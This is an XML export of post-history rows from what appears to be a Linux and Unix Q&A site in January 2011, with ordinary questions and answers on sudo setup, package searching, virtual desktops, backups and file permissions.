  <row Id="14522" PostHistoryTypeId="2" PostId="6363" RevisionGUID="a08321b4-edaa-4c45-bf0c-5860f76297a9" CreationDate="2011-01-23T02:27:27.863" UserId="3459" Text="How are you trying to login? From the terminal, ssh, X (GDM/KDM/XDM/etc)?&#xD;&#xA;&#xD;&#xA;Have you tried `su`ing to root from the user account?&#xD;&#xA;&#xD;&#xA;Having set a root password but not being able to login to the terminal as root or `su`ing to root would indicate a problem. Not being able to login to X or via ssh as root would more likely be the result of good default security restrictions. If `su` works but you still want `sudo` then you can just run `su -c visudo` then add your useraccount to the sudoers file." />
  <row Id="14523" PostHistoryTypeId="2" PostId="6362" RevisionGUID="119d6397-2b0a-4810-bfc5-0a5bae365f0f" CreationDate="2011-01-23T01:45:07.330" UserDisplayName="Marc Vitalis" Text="After installing debian 6.0 rc1, I can't do anything as administrator because, I cannot login as root (but i did setup the password during installation) and user is not a sudoer either.&#xD;&#xA;&#xD;&#xA;Did I missed anything?" />
  <row Id="14524" PostHistoryTypeId="1" PostId="6362" RevisionGUID="119d6397-2b0a-4810-bfc5-0a5bae365f0f" CreationDate="2011-01-23T01:45:07.330" UserDisplayName="Marc Vitalis" Text="Debian 6.0 RC1: Cannot login as root and user is not a sudoer" />
  <row Id="14525" PostHistoryTypeId="3" PostId="6362" RevisionGUID="119d6397-2b0a-4810-bfc5-0a5bae365f0f" CreationDate="2011-01-23T01:45:07.330" UserDisplayName="Marc Vitalis" Text="édebianàésqueezeà" />
  <row Id="14526" PostHistoryTypeId="17" PostId="6362" RevisionGUID="492ecba6-5278-4ce3-80d3-6615bf8eae94" CreationDate="2011-01-24T14:20:20.003" UserId="-1" Comment="from http://stackoverflow.com/questions/4771796/debian-6-0-rc1-cannot-login-as-root-and-user-is-not-a-sudoer" Text="" />
  <row Id="14527" PostHistoryTypeId="6" PostId="4748" RevisionGUID="01ce2fd3-43a2-488c-bfd3-cd8790a56308" CreationDate="2011-01-24T14:21:51.910" UserId="688" Comment="edited tags" Text="éfedoraàépackageömanagementà" />
  <row Id="14528" PostHistoryTypeId="2" PostId="6364" RevisionGUID="82b9678c-e152-4bad-b7ed-3aa9cfc0adca" CreationDate="2011-01-24T14:25:44.167" UserId="3967" Text="Hello,&#xD;&#xA;I have multiple, random problems with my Virtual Desktops.&#xD;&#xA;I'm running Fedora 14 with KDE and Compiz on a dual-monitor config.&#xD;&#xA;&#xD;&#xA;What happens (at random):&#xD;&#xA;- I often (almost always) have a problem with the Desktop of my Virtual Desktops (except for the 1st virtual desktop, that works all the time):&#xD;&#xA;   * Often, the background of the desktop is black and unresponsive (no wallpaper loaded, unresponsive to mouse actions).&#xD;&#xA;   * Sometimes the background of the desktop is composed of the windows opened in Virtual Desktop #1, but still unresponsive (I can only interact with the windows when I am on the correct VD)&#xD;&#xA;&#xD;&#xA;- I sometimes have problems with the taskbars (taskbars showing windows of all VDs, and not only of the current VD). &#xD;&#xA;&#xD;&#xA;- I installed the plugin rotating cube in compiz (to have hotkey to switch from one VD to another). But when I try to switch to the next or previous VD, it does the animation, but instead of switching it just stays on the same VD and minimize all the windows...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any idea?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="14529" PostHistoryTypeId="1" PostId="6364" RevisionGUID="82b9678c-e152-4bad-b7ed-3aa9cfc0adca" CreationDate="2011-01-24T14:25:44.167" UserId="3967" Text="Problem with Fedora 14 Virtual Desktops (KDE, Compiz)" />
  <row Id="14530" PostHistoryTypeId="3" PostId="6364" RevisionGUID="82b9678c-e152-4bad-b7ed-3aa9cfc0adca" CreationDate="2011-01-24T14:25:44.167" UserId="3967" Text="éfedoraàékdeàédesktopàécompizàévirtualà" />
  <row Id="14531" PostHistoryTypeId="2" PostId="6365" RevisionGUID="9f8991b8-65ab-4d25-b72c-08ba62b8462c" CreationDate="2011-01-24T14:28:49.250" UserId="3976" Text="If you can't or don't want to use the LSB release file (due to the dependencies the package brings in), you can look for the distro-specific release files.  [Bcfg2][1] has a probe for the distro you might be able to use: http://trac.mcs.anl.gov/projects/bcfg2/browser/doc/server/plugins/probes/group.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://trac.mcs.anl.gov/projects/bcfg2/" />
  <row Id="14532" PostHistoryTypeId="5" PostId="6314" RevisionGUID="e19b7fff-95c8-477d-8458-4f923a9579be" CreationDate="2011-01-24T14:32:36.690" UserId="3069" Comment="added zypper" Text="**apt**&#xD;&#xA;&#xD;&#xA;`apt-file` provides the feature of searching for a package providing a binary (like [Debian][1] or [Ubuntu][2]), it's not installed by default but in the repositories.&#xD;&#xA;&#xD;&#xA;    apt-file search &lt;path-to-file&gt;&#xD;&#xA;&#xD;&#xA;For example, let's search for the not installed binary `mysqldump`:&#xD;&#xA;&#xD;&#xA;    $ apt-file search /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysqldump&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysqldumpslow&#xD;&#xA;    mysql-cluster-client-5.1: /usr/bin/mysqldump&#xD;&#xA;    mysql-cluster-client-5.1: /usr/bin/mysqldumpslow&#xD;&#xA;&#xD;&#xA;It's also possible to list the contents of a (not-installed) package:&#xD;&#xA;&#xD;&#xA;    $ apt-file list mysql-client-5.1&#xD;&#xA;&#xD;&#xA;    mysql-client-5.1: /usr/bin/innochecksum&#xD;&#xA;    mysql-client-5.1: /usr/bin/innotop&#xD;&#xA;    mysql-client-5.1: /usr/bin/myisam_ftdump&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysql_client_test&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**yum**&#xD;&#xA;&#xD;&#xA;`yum` has the command `whatprovides` (or `provides`) to search for installed or not installed binaries:&#xD;&#xA;&#xD;&#xA;    yum whatprovides &lt;path-to-file&gt;&#xD;&#xA;&#xD;&#xA;Again, the not installed `mysqldump`:&#xD;&#xA;&#xD;&#xA;    $ yum whatprovides /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-5.1.51-2.fc14.i686 : MySQL client programs and shared libraries&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from: &#xD;&#xA;    Filename    : /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-5.1.51-1.fc14.i686 : MySQL client programs and shared libraries&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from: &#xD;&#xA;    Filename    : /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**zypper**&#xD;&#xA;&#xD;&#xA;`zypper` does include the command `what-provides` and concerning the manual, this should also search through the contents of not installed packages. Apparently, it does not work like intended. There is a [request][3] for this feature.&#xD;&#xA;&#xD;&#xA;[Webpin][4] provides a webbased solution, there is even a [script][5] for the command-line.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org&#xD;&#xA;  [2]: http://packages.ubuntu.com&#xD;&#xA;  [3]: https://features.opensuse.org/308437&#xD;&#xA;  [4]: http://packages.opensuse-community.org/&#xD;&#xA;  [5]: http://dev-loki.blogspot.com/2007/07/webpin-command-line-client.html" />
  <row Id="14533" PostHistoryTypeId="5" PostId="6364" RevisionGUID="5fb5a762-7a3a-4433-8f03-6d12cd49d274" CreationDate="2011-01-24T14:42:02.563" UserId="3967" Comment="added 185 characters in body" Text="Hello,&#xD;&#xA;I have multiple, random problems with my Virtual Desktops.&#xD;&#xA;I'm running Fedora 14 with KDE and Compiz on a dual-monitor config.&#xD;&#xA;&#xD;&#xA;What happens (at random):&#xD;&#xA;&#xD;&#xA;- I often (almost always) have a problem with the Desktop of my Virtual Desktops (except for the 1st virtual desktop, that works all the time):&#xD;&#xA;   * Often, the background of the desktop is black and unresponsive (no wallpaper loaded, unresponsive to mouse actions).&#xD;&#xA;   * Sometimes the background of the desktop is composed of the windows opened in Virtual Desktop #1, but still unresponsive (I can only interact with the windows when I am on the correct VD)&#xD;&#xA;&#xD;&#xA;- I sometimes have problems with the taskbars (taskbars showing windows of all VDs, and not only of the current VD). Then, if for example on VD #1 task bar I click on a Window which is opened in VD #2, it will switch to VD #2, displays the window and that window won't appear again in VD #1 task bar.&#xD;&#xA;&#xD;&#xA;- I installed the plugin rotating cube in compiz (to have hotkey to switch from one VD to another). But when I try to switch to the next or previous VD, it does the animation, but instead of switching it just stays on the same VD and minimize all the windows...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any idea?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="14534" PostHistoryTypeId="2" PostId="6366" RevisionGUID="6351ca2c-133a-4c15-8623-e1ef8f4a7c25" CreationDate="2011-01-24T14:43:44.543" UserId="4133" Text="Hi, I'd like to output a list of all currently not installed packages (they are visible in Synaptic for example) using only shell commands. How do I do this?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="14535" PostHistoryTypeId="1" PostId="6366" RevisionGUID="6351ca2c-133a-4c15-8623-e1ef8f4a7c25" CreationDate="2011-01-24T14:43:44.543" UserId="4133" Text="How to list currently not installed packages?" />
  <row Id="14536" PostHistoryTypeId="3" PostId="6366" RevisionGUID="6351ca2c-133a-4c15-8623-e1ef8f4a7c25" CreationDate="2011-01-24T14:43:44.543" UserId="4133" Text="édebianàépackageömanagementàéaptàédpkgà" />
  <row Id="14540" PostHistoryTypeId="2" PostId="6368" RevisionGUID="b4ee31a2-145a-4d53-aa07-b75a06f7aa5d" CreationDate="2011-01-24T15:11:49.260" UserId="1779" Text="    aptitude search '!~i'&#xD;&#xA;&#xD;&#xA;See the Search Term Reference in the [aptitude user's manual](http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/) for details." />
  <row Id="14541" PostHistoryTypeId="2" PostId="6369" RevisionGUID="8a2e445b-9967-483a-852d-2d8d83d6465a" CreationDate="2011-01-24T15:13:14.307" UserId="2780" Text="From the question's tags, I assume a Debian system.&#xD;&#xA;&#xD;&#xA;In Bash: `aptitude search '!~i'`. The list is **very** long (more than 30k lines).&#xD;&#xA;&#xD;&#xA;It can be interesting to suppress virtual packages also: `aptitude search '!~i !~v'`" />
  <row Id="14542" PostHistoryTypeId="5" PostId="6364" RevisionGUID="7da732ce-2220-4d9f-a429-1fe364f02b98" CreationDate="2011-01-24T15:13:51.967" UserId="3967" Comment="added 38 characters in body" Text="Hello,&#xD;&#xA;I have multiple, random problems with my Virtual Desktops.&#xD;&#xA;I'm running Fedora 14 with KDE and Compiz on a dual-monitor config.&#xD;&#xA;&#xD;&#xA;What happens (at random):&#xD;&#xA;&#xD;&#xA;- I often (almost always) have a problem with the Desktop of my Virtual Desktops (except for the 1st virtual desktop, that works all the time):&#xD;&#xA;   * Often, the background of the desktop is black and unresponsive (no wallpaper loaded, unresponsive to mouse actions).&#xD;&#xA;   * Sometimes the background of the desktop is composed of the windows opened in Virtual Desktop #1, but still unresponsive (I can only interact with the windows when I am on the correct VD)&#xD;&#xA;&#xD;&#xA;- I sometimes have problems with the task bars:&#xD;&#xA;   * Minimized windows appear on the task bars of all the VDs.&#xD;&#xA;   * Then, if for example on VD #1 task bar I click on a Window which is opened in VD #2, it will switch to VD #2, displays the window and that window won't appear in other VDs task bars (because it is not minimized anymore).&#xD;&#xA;&#xD;&#xA;- I installed the plugin rotating cube in compiz (to have hotkey to switch from one VD to another). But when I try to switch to the next or previous VD, it does the animation, but instead of switching it just stays on the same VD and minimize all the windows...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any idea?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="14543" PostHistoryTypeId="2" PostId="6370" RevisionGUID="de7f58f2-a836-481d-8834-93c395721abc" CreationDate="2011-01-24T15:41:32.607" UserId="4136" Text="our server hosted out of the country I just have SSH access, I want to take image backup of my server, I found e2image utility to take online backup at same server but when I run **&quot;e2image -r /dev/sda1 sda1image&quot;** so command not run show this error&#xD;&#xA;&#xD;&#xA;[root@server ~]# e2image -r /dev/sda1 image&#xD;&#xA;e2image 1.39 (29-May-2006)&#xD;&#xA;e2image: Bad magic number in super-block while trying to open /dev/sda1&#xD;&#xA;Couldn't find valid filesystem superblock.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Could any one help me how I can take my whole server backup." />
  <row Id="14544" PostHistoryTypeId="1" PostId="6370" RevisionGUID="de7f58f2-a836-481d-8834-93c395721abc" CreationDate="2011-01-24T15:41:32.607" UserId="4136" Text="How to run e2image at remote centos server?" />
  <row Id="14545" PostHistoryTypeId="3" PostId="6370" RevisionGUID="de7f58f2-a836-481d-8834-93c395721abc" CreationDate="2011-01-24T15:41:32.607" UserId="4136" Text="écommandölineà" />
  <row Id="14546" PostHistoryTypeId="2" PostId="6371" RevisionGUID="626fc972-3cea-4254-89fa-0ae738dbce68" CreationDate="2011-01-24T15:48:46.947" UserId="4136" Text="Type the command as follows:&#xD;&#xA;&#xD;&#xA;# rpm -qa &gt; list.txt&#xD;&#xA;&#xD;&#xA;with this command you can check your installed RPM list after that you can easly to find which RPM is not installed." />
  <row Id="14547" PostHistoryTypeId="2" PostId="6372" RevisionGUID="3d2a1ddd-1599-404a-a1f6-2d1d0a75394b" CreationDate="2011-01-24T15:50:52.517" UserId="3372" Text="You can set the default Documents folder on a different location or partition and the same for other folders, like the Desktop folder, the Download folder and so forth.&#xD;&#xA;&#xD;&#xA;Each application has it's own way of using the default paths, so the first time will be a long job...&#xD;&#xA;&#xD;&#xA;Some examples&#xD;&#xA;&#xD;&#xA;KDE http://docs.kde.org/stable/en/kdebase-workspace/kcontrol/paths/index.html&#xD;&#xA;&#xD;&#xA;GNOME http://ubuntuforums.org/showthread.php?t=631711&#xD;&#xA;&#xD;&#xA;If you don't find instruction on how to change defaults for some software you can try it ask here again." />
  <row Id="14548" PostHistoryTypeId="5" PostId="6372" RevisionGUID="606a240a-f6ba-4202-aa48-e3310fe08124" CreationDate="2011-01-24T15:58:34.473" UserId="3372" Comment="added 283 characters in body" Text="You can set the default Documents folder on a different location or partition and the same for other folders, like the Desktop folder, the Download folder and so forth.&#xD;&#xA;&#xD;&#xA;Each application has it's own way of using the default paths, so the first time will be a long job...&#xD;&#xA;&#xD;&#xA;Some examples&#xD;&#xA;&#xD;&#xA;KDE http://docs.kde.org/stable/en/kdebase-workspace/kcontrol/paths/index.html&#xD;&#xA;&#xD;&#xA;GNOME http://ubuntuforums.org/showthread.php?t=631711&#xD;&#xA;&#xD;&#xA;If you don't find instruction on how to change defaults for some software you can try it ask here again.&#xD;&#xA;&#xD;&#xA;Then there is the hard but intelligent way, that is to setup different distribution on the same PC sharing the same kernel.&#xD;&#xA;&#xD;&#xA;I advise you (all) for the sake of the curiosity, to take a look at this article:&#xD;&#xA;&#xD;&#xA;http://teddziuba.com/2011/01/multiple-concurrent-linux-distros.html" />
  <row Id="14549" PostHistoryTypeId="5" PostId="6371" RevisionGUID="14814a86-91c3-4175-9dc0-6cad1ac24589" CreationDate="2011-01-24T16:10:04.827" UserId="73" Comment="added 4 characters in body" Text="Type the command as follows:&#xD;&#xA;&#xD;&#xA;    # rpm -qa &gt; list.txt&#xD;&#xA;&#xD;&#xA;with this command you can check your installed RPM list after that you can easly to find which RPM is not installed." />
  <row Id="14550" PostHistoryTypeId="2" PostId="6373" RevisionGUID="8e1b8da5-4175-4fae-98be-0040e1ceaa68" CreationDate="2011-01-24T16:10:43.273" UserId="3372" Text="dd stands for driverdisk, in fact on fedora is driverdisk instead.&#xD;&#xA;&#xD;&#xA;http://docs.fedoraproject.org/en-US/Fedora/14/html/Installation_Guide/s1-kickstart2-options.html&#xD;&#xA;&#xD;&#xA;    &gt; driverdisk &lt;partition&gt; --source=&lt;url&gt;&#xD;&#xA;    &gt; --biospart=&lt;biospart&gt; [--type=&lt;fstype&gt;]&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;     *&#xD;&#xA;    &gt;       &lt;partition&gt; — Partition containing the driver disk.&#xD;&#xA;    &gt;     *&#xD;&#xA;    &gt;       &lt;url&gt; — URL for the driver disk. NFS locations can be given in the form&#xD;&#xA;    &gt; nfs:host:/path/to/img.&#xD;&#xA;    &gt;     *&#xD;&#xA;    &gt;       &lt;biospart&gt; — BIOS partition containing the driver disk (for&#xD;&#xA;    &gt; example, 82p2).&#xD;&#xA;    &gt;     *&#xD;&#xA;    &gt;       --type= — File system type (for example, vfat or ext2).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can provide even a network resource:&#xD;&#xA;&#xD;&#xA;    driverdisk --source=ftp://path/to/dd.img&#xD;&#xA;    driverdisk --source=http://path/to/dd.img&#xD;&#xA;    driverdisk --source=nfs:host:/path/to/img&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14551" PostHistoryTypeId="2" PostId="6374" RevisionGUID="a5ca690a-7218-42a4-b98e-d5ff36436d3a" CreationDate="2011-01-24T16:17:49.813" UserId="4137" Text="I'd recommend using symlinks for all the common configuration files you find yourself missing from one to the other. Create a new directory in a place accessible to both distros, move the files and symlink from there.&#xD;&#xA;&#xD;&#xA;Not only does this control exactly what gets shared, but it makes it very easy to move your preferences to other machines, to put them under version control if you need and to back them up. There are even tools to help you do these things based on the assumption you are working this way (see, for example, homesick).&#xD;&#xA;&#xD;&#xA;As far as setting common directories for things such as documents, videos, music etc, there is a standard for this in the form of XDG user dirs, which configures things like desktop, music, images, videos, etc. ( http://freedesktop.org/wiki/Software/xdg-user-dirs). The directories can be outside your home dir, or you can symlink as you like and set the dirs to point at the symlinks. I know Gnome works with these and assume KDE does too.&#xD;&#xA;&#xD;&#xA;I did try using the entire same home dir in the past, and different versions of applications quickly caused problems." />
  <row Id="14552" PostHistoryTypeId="2" PostId="6375" RevisionGUID="cd750a68-9563-4e99-8f13-c99673214617" CreationDate="2011-01-24T16:19:45.290" UserId="3372" Text="Did you try koconverter ? This is part of the koffice libs&#xD;&#xA;&#xD;&#xA;    koconverter file.kwd file.odt&#xD;&#xA;&#xD;&#xA;If it doesn't work there are any other command line tools that can do this, that means you have to do it manually with each document from the last koffice.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14553" PostHistoryTypeId="2" PostId="6376" RevisionGUID="c96c30f4-1183-4600-8de0-8df958acefb7" CreationDate="2011-01-24T16:20:01.203" UserId="3447" Text="If I remember correctly you get the `boot:` prompt only if you use the DVD install for Fedora.  The LiveCD doesn't give you the option." />
  <row Id="14554" PostHistoryTypeId="2" PostId="6377" RevisionGUID="bfa3db27-14b5-496a-82a0-d9ae1026d19a" CreationDate="2011-01-24T16:36:38.097" UserId="4137" Text="According to vim help (&lt;code&gt;:help pattern-overview&lt;/code&gt;), &lt;code&gt;\@i&lt;/code&gt; is not supported by vi.&#xD;&#xA;&#xD;&#xA;It may be you can enumerate all the possible combinations to avoid this, or find a different expression. What are you searching for?&#xD;&#xA;&#xD;&#xA;Out of interest, why are you preferring vi over vim?" />
  <row Id="14555" PostHistoryTypeId="2" PostId="6378" RevisionGUID="80983ecf-8a98-4ff3-a6bd-8f781fb4a46e" CreationDate="2011-01-24T16:36:58.217" UserId="3372" Text="This probably happened after an update of the system, I'd try to delete the file.&#xD;&#xA;&#xD;&#xA;    fuser /tmp/tmpGTbWYh &#xD;&#xA;&#xD;&#xA;With this command you see if the file is used by any process and will give you one or more numbers (Process ID, PID).&#xD;&#xA;&#xD;&#xA;No numbers it means the process is not used and you can delete safely the file&#xD;&#xA;&#xD;&#xA;    rm /tmp/tmpGTbWYh&#xD;&#xA;&#xD;&#xA;Do the above with a user that have the rights to do it (your user? root?), you can check this with an ls&#xD;&#xA;&#xD;&#xA;    ls -l /tmp/tmpGTbWYh&#xD;&#xA;&#xD;&#xA;If the file is used by any process you can do a ps and filter by each PID you found with the execution of the fuser&#xD;&#xA;&#xD;&#xA;    ps -ef | grep $PID&#xD;&#xA;&#xD;&#xA;You must substitute $PID with numbers found above (with fuser).&#xD;&#xA;&#xD;&#xA;At this point you should decide if you can, identify the aplication is using the file and close it if you can, or kill the process (kill $PID), or delete the file anyway (it maybe be risky).&#xD;&#xA;&#xD;&#xA;If you have troubles to decide let us know. " />
  <row Id="14556" PostHistoryTypeId="5" PostId="6378" RevisionGUID="bb3214b3-ecdd-4598-a42f-0017022bda1b" CreationDate="2011-01-24T16:43:12.140" UserId="3372" Comment="added 61 characters in body" Text="This probably happened after an update of the system, and as temporary file are usually not needed after a reboot, I'd try to delete the file.&#xD;&#xA;&#xD;&#xA;    fuser /tmp/tmpGTbWYh &#xD;&#xA;&#xD;&#xA;With this command you see if the file is used by any process and will give you one or more numbers (Process ID, PID).&#xD;&#xA;&#xD;&#xA;No numbers it means the process is not used and you can delete safely the file&#xD;&#xA;&#xD;&#xA;    rm /tmp/tmpGTbWYh&#xD;&#xA;&#xD;&#xA;Do the above with a user that have the rights to do it (your user? root?), you can check this with an ls&#xD;&#xA;&#xD;&#xA;    ls -l /tmp/tmpGTbWYh&#xD;&#xA;&#xD;&#xA;If the file is used by any process you can do a ps and filter by each PID you found with the execution of the fuser&#xD;&#xA;&#xD;&#xA;    ps -ef | grep $PID&#xD;&#xA;&#xD;&#xA;You must substitute $PID with numbers found above (with fuser).&#xD;&#xA;&#xD;&#xA;At this point you should decide if you can, identify the aplication is using the file and close it if you can, or kill the process (kill $PID), or delete the file anyway (it maybe be risky).&#xD;&#xA;&#xD;&#xA;If you have troubles to decide let us know. " />
  <row Id="14557" PostHistoryTypeId="2" PostId="6379" RevisionGUID="e9f0e1cb-5330-4a9b-a634-112dcb01dc39" CreationDate="2011-01-24T16:52:35.310" UserId="3899" Text="I have a server with a user named `deploy-user` and have written a backup script to backup a number of websites associated with this user. However one of the sites I'm trying to backup has a directory `/home/usera/web/www.example.com/some/random_dir` is owned by `apache-data-user`.&#xD;&#xA;&#xD;&#xA;What permissions would I give `deploy-user` to be able to backup that directory. Options I am aware of are either:&#xD;&#xA;&#xD;&#xA; * Running the script as `root`, which I don't really want to do.&#xD;&#xA; * Adding `apache-data-user` and `deploy-user` to the same group. But then `apache-data-user` will have to many permissions.&#xD;&#xA;&#xD;&#xA;Has anyone got a suggestion of the best way to backup this directory?&#xD;&#xA;&#xD;&#xA;    " />
  <row Id="14558" PostHistoryTypeId="1" PostId="6379" RevisionGUID="e9f0e1cb-5330-4a9b-a634-112dcb01dc39" CreationDate="2011-01-24T16:52:35.310" UserId="3899" Text="Backup script permission issue" />
  <row Id="14559" PostHistoryTypeId="3" PostId="6379" RevisionGUID="e9f0e1cb-5330-4a9b-a634-112dcb01dc39" CreationDate="2011-01-24T16:52:35.310" UserId="3899" Text="épermissionsàébackupà" />
  <row Id="14560" PostHistoryTypeId="25" PostId="6366" RevisionGUID="82b78a7d-330d-40bc-baef-d92c9f4c09ea" CreationDate="2011-01-24T16:55:47.703" Comment="http://twitter.com/#!/StackUnix/status/29583151453966336" />
  <row Id="14561" PostHistoryTypeId="5" PostId="6377" RevisionGUID="c7d6a657-8a73-444d-bc29-bf362f47431e" CreationDate="2011-01-24T16:57:21.977" UserId="4137" Comment="added 140 characters in body" Text="According to vim help (&lt;code&gt;:help pattern-overview&lt;/code&gt;), &lt;code&gt;\@i&lt;/code&gt; is not supported by vi. &#xD;&#xA;&#xD;&#xA;It may be you can enumerate all the possible combinations to avoid this, or find a different expression. Alternatively I guess you could farm the job off to some external tool or interpreter like perl. I checked egrep -- it doesn't support it. What are you searching for?&#xD;&#xA;&#xD;&#xA;Out of interest, why are you preferring vi over vim?" />
  <row Id="14562" PostHistoryTypeId="2" PostId="6380" RevisionGUID="44c40db9-41b6-4ecb-a79b-0bc7366dbb9b" CreationDate="2011-01-24T17:02:22.957" UserId="3309" Text="When you execute `cat /proc/$pid/mem` the variable `$pid` is evaluated by by bash which inserts its own pid. It then executes `cat` which has a different pid. You end up with `cat` trying to read the memory of `bash`, its parent process. Since non-privileged processes can only read their own memory space this gets denied by the kernel." />
  <row Id="14563" PostHistoryTypeId="2" PostId="6381" RevisionGUID="eb65b5b6-5a73-4ab6-b276-3cda7fb5350b" CreationDate="2011-01-24T17:10:32.387" UserId="250" Text="If you don't want to put deploy-user and apache-data-user into the same group then [ACL][1] suits you best.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Access_control_list" />
  <row Id="14564" PostHistoryTypeId="2" PostId="6382" RevisionGUID="fe134521-1587-4438-b26b-bfd1c1cd241d" CreationDate="2011-01-24T17:12:25.500" UserId="1924" Text="I need something to play WMA radio. Do you know any way of doing this on linux?" />
  <row Id="14565" PostHistoryTypeId="1" PostId="6382" RevisionGUID="fe134521-1587-4438-b26b-bfd1c1cd241d" CreationDate="2011-01-24T17:12:25.500" UserId="1924" Text="Windows Media Audio 9 player plugin- something for linux" />
  <row Id="14566" PostHistoryTypeId="3" PostId="6382" RevisionGUID="fe134521-1587-4438-b26b-bfd1c1cd241d" CreationDate="2011-01-24T17:12:25.500" UserId="1924" Text="élinuxàémusicöplayerà" />
  <row Id="14567" PostHistoryTypeId="2" PostId="6383" RevisionGUID="78776695-7fa2-40b4-9a24-d20abac5f93e" CreationDate="2011-01-24T17:15:43.160" UserId="4140" Text="Hello everyone,&#xD;&#xA;&#xD;&#xA;I use the web browser [Uzbl][1] and the window manager Openbox, and I wondered if I could configure openbox to add a keyboard shortcut to minimize / maximize the Uzbl's window ...&#xD;&#xA;&#xD;&#xA;Thanks in advance :)&#xD;&#xA;&#xD;&#xA;  [1]: http://uzbl.org" />
  <row Id="14568" PostHistoryTypeId="1" PostId="6383" RevisionGUID="78776695-7fa2-40b4-9a24-d20abac5f93e" CreationDate="2011-01-24T17:15:43.160" UserId="4140" Text="[Openbox] How can i assign a keyboard shortcut to a specific application?!" />
  <row Id="14569" PostHistoryTypeId="3" PostId="6383" RevisionGUID="78776695-7fa2-40b4-9a24-d20abac5f93e" CreationDate="2011-01-24T17:15:43.160" UserId="4140" Text="éwindowömanageràékeyboardöshortcutsàéopenboxà" />
  <row Id="14570" PostHistoryTypeId="2" PostId="6384" RevisionGUID="d83f9a4c-acf5-4024-bf4d-00c40493a4d3" CreationDate="2011-01-24T17:32:04.080" UserId="4135" Text="Option 2 is definitely the way to go, unless you want to use ACL. Note that such a group will probably only need read permissions to the directory you're referring to.&#xD;&#xA;&#xD;&#xA;Another option would be to use sudo to give the deploy-user some **very restricted** rights to only perform backup operations as root." />
  <row Id="14571" PostHistoryTypeId="2" PostId="6385" RevisionGUID="6ba68ce7-e421-4140-af8c-680b8263f56f" CreationDate="2011-01-24T17:35:56.063" UserId="3976" Text="[Mplayer][1] should be able to play WMA radio.  It's possible to set up firefox to direct mms:// URIs to mplayer by setting the firefox configuration setting &quot;network.protocol-handler.app.mms&quot; to /usr/bin/mplayer (or whatever the path is for mplayer).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mplayerhq.hu/" />
  <row Id="14572" PostHistoryTypeId="2" PostId="6386" RevisionGUID="0b300fd9-42a0-4f07-be6c-765848b72e20" CreationDate="2011-01-24T17:52:33.127" UserId="3633" Text="If you run a Debian-based distro and a particular player is built without WMA support, you may try a build from debian-multimedia.org." />
  <row Id="14573" PostHistoryTypeId="2" PostId="6387" RevisionGUID="33fab02a-4979-4ef0-8512-fea0d3fcbfad" CreationDate="2011-01-24T18:21:17.557" UserId="688" Text="I changed permissions of a file (`sudo chmod g+w testfile`) and running `stat -c %A testfile` gives:&#xD;&#xA;&#xD;&#xA;    -rw-rw-r--&#xD;&#xA;&#xD;&#xA;I then added a user to that group (&quot;**/etc/group**&quot; has `user1:x:1000:user2` line), but am failing to edit that file as user2. Why is this so?" />
  <row Id="14574" PostHistoryTypeId="1" PostId="6387" RevisionGUID="33fab02a-4979-4ef0-8512-fea0d3fcbfad" CreationDate="2011-01-24T18:21:17.557" UserId="688" Text="How to add write permissions for a group?" />
  <row Id="14575" PostHistoryTypeId="3" PostId="6387" RevisionGUID="33fab02a-4979-4ef0-8512-fea0d3fcbfad" CreationDate="2011-01-24T18:21:17.557" UserId="688" Text="épermissionsà" />
  <row Id="14576" PostHistoryTypeId="5" PostId="6387" RevisionGUID="f361c49c-d6d9-496b-9952-f3d4d6afacd9" CreationDate="2011-01-24T18:41:57.950" UserId="688" Comment="added 32 characters in body" Text="I changed permissions of a file (`chmod g+w testfile`) and running `ls -l testfile` gives:&#xD;&#xA;&#xD;&#xA;    -rwxrwxr-x 1 user1 user1 0 2011-01-24 20:36 testfile&#xD;&#xA;&#xD;&#xA;I then added a user to that group (&quot;**/etc/group**&quot; has `user1:x:1000:user2` line), but am failing to edit that file as user2. Why is this so?" />
  <row Id="14577" PostHistoryTypeId="2" PostId="6388" RevisionGUID="51b3e368-828a-4b0f-9cdf-1be4c7dd0c39" CreationDate="2011-01-24T18:44:34.577" UserId="3976" Text="You might need to have user2 log out and back in (or just try ssh'ing in to create a new login session.)  Check the output of 'id --groups' to show the numeric group ids for a user." />
